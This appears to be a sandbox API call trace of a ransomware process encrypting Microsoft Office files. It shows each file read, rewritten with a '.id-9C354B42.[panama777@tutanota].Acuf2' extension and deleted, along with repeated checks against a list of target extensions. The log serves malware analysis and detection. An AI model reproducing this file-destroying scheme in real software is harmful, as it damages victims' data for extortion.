	[0261.710] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.710] SetEndOfFile (hFile=0x334) returned 1
	[0261.712] CloseHandle (hObject=0x334) returned 1
	[0261.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 1
	[0261.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.713] lstrlenW (lpString=".doc") returned 4
	[0261.713] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.713] lstrlenW (lpString=".docx") returned 5
	[0261.713] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.713] lstrlenW (lpString=".pdf") returned 4
	[0261.713] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.713] lstrlenW (lpString=".xls") returned 4
	[0261.713] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.713] lstrlenW (lpString=".xlsx") returned 5
	[0261.713] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.713] lstrlenW (lpString=".ppt") returned 4
	[0261.713] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.713] lstrlenW (lpString=".zip") returned 4
	[0261.713] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.713] lstrlenW (lpString=".rar") returned 4
	[0261.713] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.713] lstrlenW (lpString=".bz2") returned 4
	[0261.714] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.714] lstrlenW (lpString=".7z") returned 3
	[0261.714] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.714] lstrlenW (lpString=".dbf") returned 4
	[0261.714] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.714] lstrlenW (lpString=".1cd") returned 4
	[0261.714] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.714] lstrlenW (lpString=".jpg") returned 4
	[0261.714] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.714] lstrlenW (lpString=".doc") returned 4
	[0261.714] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0261.714] lstrlenW (lpString=".docx") returned 5
	[0261.714] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0261.714] lstrlenW (lpString=".pdf") returned 4
	[0261.714] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0261.714] lstrlenW (lpString=".xls") returned 4
	[0261.714] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0261.714] lstrlenW (lpString=".xlsx") returned 5
	[0261.714] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0261.714] lstrlenW (lpString=".ppt") returned 4
	[0261.714] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0261.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.714] lstrlenW (lpString=".zip") returned 4
	[0261.714] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0261.714] lstrlenW (lpString=".rar") returned 4
	[0261.714] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0261.715] lstrlenW (lpString=".bz2") returned 4
	[0261.715] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0261.715] lstrlenW (lpString=".7z") returned 3
	[0261.715] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0261.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.715] lstrlenW (lpString=".dbf") returned 4
	[0261.715] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0261.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.715] lstrlenW (lpString=".1cd") returned 4
	[0261.715] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0261.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63
	[0261.715] lstrlenW (lpString=".jpg") returned 4
	[0261.715] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0261.715] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0261.715] lstrlenW (lpString="GRINTL32.DLL") returned 12
	[0261.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0261.791] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=208256) returned 1
	[0261.791] CloseHandle (hObject=0x32c) returned 1
	[0261.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll")) returned 0x20
	[0261.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.824] lstrlenW (lpString=".doc") returned 4
	[0261.824] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0261.824] lstrlenW (lpString=".docx") returned 5
	[0261.824] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1
	[0261.824] lstrlenW (lpString=".pdf") returned 4
	[0261.824] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0261.825] lstrlenW (lpString=".xls") returned 4
	[0261.825] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0261.825] lstrlenW (lpString=".xlsx") returned 5
	[0261.825] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1
	[0261.825] lstrlenW (lpString=".ppt") returned 4
	[0261.825] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0261.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.825] lstrlenW (lpString=".zip") returned 4
	[0261.825] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0261.825] lstrlenW (lpString=".rar") returned 4
	[0261.825] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0261.825] lstrlenW (lpString=".bz2") returned 4
	[0261.825] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0261.825] lstrlenW (lpString=".7z") returned 3
	[0261.825] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0261.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.825] lstrlenW (lpString=".dbf") returned 4
	[0261.825] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0261.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.825] lstrlenW (lpString=".1cd") returned 4
	[0261.825] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0261.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.825] lstrlenW (lpString=".jpg") returned 4
	[0261.825] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0261.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.825] lstrlenW (lpString=".doc") returned 4
	[0261.825] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0261.825] lstrlenW (lpString=".docx") returned 5
	[0261.825] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1
	[0261.825] lstrlenW (lpString=".pdf") returned 4
	[0261.825] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0261.825] lstrlenW (lpString=".xls") returned 4
	[0261.826] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0261.826] lstrlenW (lpString=".xlsx") returned 5
	[0261.826] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1
	[0261.826] lstrlenW (lpString=".ppt") returned 4
	[0261.826] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0261.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.826] lstrlenW (lpString=".zip") returned 4
	[0261.826] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0261.826] lstrlenW (lpString=".rar") returned 4
	[0261.826] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0261.826] lstrlenW (lpString=".bz2") returned 4
	[0261.826] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0261.826] lstrlenW (lpString=".7z") returned 3
	[0261.826] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0261.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.826] lstrlenW (lpString=".dbf") returned 4
	[0261.826] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0261.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.826] lstrlenW (lpString=".1cd") returned 4
	[0261.826] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0261.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL") returned 60
	[0261.826] lstrlenW (lpString=".jpg") returned 4
	[0261.826] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0261.826] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Acuf2") returned 1
	[0261.826] lstrlenW (lpString="GRINTL32.REST.IDX_DLL") returned 21
	[0261.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.348] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=100224) returned 1
	[0262.348] CloseHandle (hObject=0x220) returned 1
	[0262.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 0x20
	[0262.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.348] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.348] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0262.349] GetLastError () returned 0x0
	[0262.349] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x18780, lpOverlapped=0x0) returned 1
	[0262.353] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x18790, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x18790, lpOverlapped=0x0) returned 1
	[0262.355] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.355] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0262.355] SetEndOfFile (hFile=0x344) returned 1
	[0262.355] CloseHandle (hObject=0x344) returned 1
	[0262.356] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.356] SetEndOfFile (hFile=0x220) returned 1
	[0262.359] CloseHandle (hObject=0x220) returned 1
	[0262.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 1
	[0262.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.359] lstrlenW (lpString=".doc") returned 4
	[0262.359] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0262.359] lstrlenW (lpString=".docx") returned 5
	[0262.360] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0262.360] lstrlenW (lpString=".pdf") returned 4
	[0262.360] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString=".xls") returned 4
	[0262.360] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString=".xlsx") returned 5
	[0262.360] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0262.360] lstrlenW (lpString=".ppt") returned 4
	[0262.360] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.360] lstrlenW (lpString=".zip") returned 4
	[0262.360] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString=".rar") returned 4
	[0262.360] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString=".bz2") returned 4
	[0262.360] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString=".7z") returned 3
	[0262.360] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.360] lstrlenW (lpString=".dbf") returned 4
	[0262.360] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.360] lstrlenW (lpString=".1cd") returned 4
	[0262.360] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.360] lstrlenW (lpString=".jpg") returned 4
	[0262.360] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.360] lstrlenW (lpString=".doc") returned 4
	[0262.360] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0262.360] lstrlenW (lpString=".docx") returned 5
	[0262.360] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0262.361] lstrlenW (lpString=".pdf") returned 4
	[0262.361] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0262.361] lstrlenW (lpString=".xls") returned 4
	[0262.361] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0262.361] lstrlenW (lpString=".xlsx") returned 5
	[0262.361] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0262.361] lstrlenW (lpString=".ppt") returned 4
	[0262.361] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0262.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.361] lstrlenW (lpString=".zip") returned 4
	[0262.361] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0262.361] lstrlenW (lpString=".rar") returned 4
	[0262.361] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0262.361] lstrlenW (lpString=".bz2") returned 4
	[0262.361] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0262.361] lstrlenW (lpString=".7z") returned 3
	[0262.361] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.361] lstrlenW (lpString=".dbf") returned 4
	[0262.361] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0262.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.361] lstrlenW (lpString=".1cd") returned 4
	[0262.361] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0262.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69
	[0262.361] lstrlenW (lpString=".jpg") returned 4
	[0262.361] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0262.361] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0262.361] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18
	[0262.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.362] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=113) returned 1
	[0262.362] CloseHandle (hObject=0x220) returned 1
	[0262.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 0x20
	[0262.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.362] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.362] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0262.363] GetLastError () returned 0x0
	[0262.363] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x71, lpOverlapped=0x0) returned 1
	[0262.364] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0262.364] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.364] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0262.364] SetEndOfFile (hFile=0x344) returned 1
	[0262.365] CloseHandle (hObject=0x344) returned 1
	[0262.365] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.365] SetEndOfFile (hFile=0x220) returned 1
	[0262.367] CloseHandle (hObject=0x220) returned 1
	[0262.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk")) returned 1
	[0262.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.367] lstrlenW (lpString=".doc") returned 4
	[0262.367] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.367] lstrlenW (lpString=".docx") returned 5
	[0262.367] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.368] lstrlenW (lpString=".pdf") returned 4
	[0262.368] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.368] lstrlenW (lpString=".xls") returned 4
	[0262.368] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.368] lstrlenW (lpString=".xlsx") returned 5
	[0262.368] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.368] lstrlenW (lpString=".ppt") returned 4
	[0262.368] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.368] lstrlenW (lpString=".zip") returned 4
	[0262.368] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.368] lstrlenW (lpString=".rar") returned 4
	[0262.368] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.368] lstrlenW (lpString=".bz2") returned 4
	[0262.368] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.368] lstrlenW (lpString=".7z") returned 3
	[0262.368] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.368] lstrlenW (lpString=".dbf") returned 4
	[0262.368] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.368] lstrlenW (lpString=".1cd") returned 4
	[0262.368] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.368] lstrlenW (lpString=".jpg") returned 4
	[0262.368] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
